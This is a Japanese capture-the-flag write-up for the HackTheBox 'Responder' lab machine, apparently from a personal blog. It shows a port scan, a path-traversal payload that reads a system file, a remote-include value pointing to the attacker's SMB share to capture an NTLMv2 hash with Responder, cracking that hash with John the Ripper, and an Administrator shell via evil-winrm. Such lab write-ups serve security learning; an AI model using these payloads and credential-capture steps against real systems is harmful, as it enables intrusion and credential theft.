HackTheBox Responder Writeup

# はじめに

本記事は「[HackTheBox:Responder](https://app.hackthebox.com/starting-point)」のwriteupです。

## 問題

LFI、RFI、WinRMに関する問題です。

## 回答

ポートスキャンします。
結果`http(tcp/80)`、`WinRM(tcp/5985)`が公開されていることがわかりました。
また、`PHP/8.1.1`が使われているようです。

```text
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000  10.129.167.202
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 02:31 JST
Nmap scan report for unika.htb (10.129.167.202)
Host is up (0.21s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.33 seconds
```

ブラウザでアクセスしたところ、`unika.htb`にリダイレクトし、エラーメッセージが表示されました。

![](https://raw.githubusercontent.com/kenryo012/qiita-content/main/images/HackTheBox%20Responder%20/1.png)

アクセス元で`unika.htb`を名前解決しようと試みましたが失敗したようです。
アクセス元の`/etc/hosts`に`unika.htb`とIPアドレスの関連付けを追記します。

![](https://raw.githubusercontent.com/kenryo012/qiita-content/main/images/HackTheBox%20Responder%20/2.png)

再度アクセスするとサイトが表示されました。

![](https://raw.githubusercontent.com/kenryo012/qiita-content/main/images/HackTheBox%20Responder%20/3.png)

このサイトにはローカルファイルインクルードとリモートファイルインクルードの脆弱性があります。

https://www.shadan-kun.com/blog/measure/2582/

前者は`page`パラメタの値に`../../../../../../../../windows/system32/drivers/etc/hosts`など指定すると以下のようにサーバ内のファイル情報が閲覧できてしまします。

![](https://raw.githubusercontent.com/kenryo012/qiita-content/main/images/HackTheBox%20Responder%20/4.png)

後者は`//10.10.14.6/somefile`のように指定することで外部にあるファイルを実行させてしまうことができます。

![](https://raw.githubusercontent.com/kenryo012/qiita-content/main/images/HackTheBox%20Responder%20/5.png)

本問では`Responder`というハイジャック攻撃ツールを使用します。詳細は以下。

https://qiita.com/Yuk1Yuk1/items/211d768eec65aa09d3c9

まず、`Responder`を起動させておきます。

![](https://raw.githubusercontent.com/kenryo012/qiita-content/main/images/HackTheBox%20Responder%20/6.png)

次に、ブラウザで`page`パラメタに`//10.10.14.172/somefile`を指定します。
IPはResponder起動時に表示される`Responder IP`のIPアドレスです。

![](https://raw.githubusercontent.com/kenryo012/qiita-content/main/images/HackTheBox%20Responder%20/7.png)

アクセスしたら、パスワードハッシュが表示されます。

![](https://raw.githubusercontent.com/kenryo012/qiita-content/main/images/HackTheBox%20Responder%20/8.png)

`John The Ripper`でパスワードハッシュをクラックします。
パスワードハッシュは`/usr/share/responder/logs`のファイルに出力されています。

```text
┌──(kali㉿kali)-[/usr/share/responder/logs]
└─$ john /usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.167.202.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)
1g 0:00:00:00 DONE (2023-04-30 02:23) 25.00g/s 102400p/s 102400c/s 102400C/s adriano..oooooo
Warning: passwords printed above might not be all those cracked
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

ローカルのkaliからやってみましたが、接続できませんでした。
pwnboxからやるとログインに成功しました。後は探索してフラグを見つけました。
https://tryhackme.com/forum/thread/6171e3b46b0cfe00412b0a1d

```text
┌──[htb-kenryo@htb-b2t7mxnlfn]─[~]
└──╼ $evil-winrm -i 10.129.95.234 -u Administrator -p badminton

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

## 参考

- https://wa3.i-3-i.info/word12619.html
- https://turningp.jp/server-client/windows/windows-llmnr-netbios
- https://qiita.com/v_avenger/items/78b323d5e30276a20735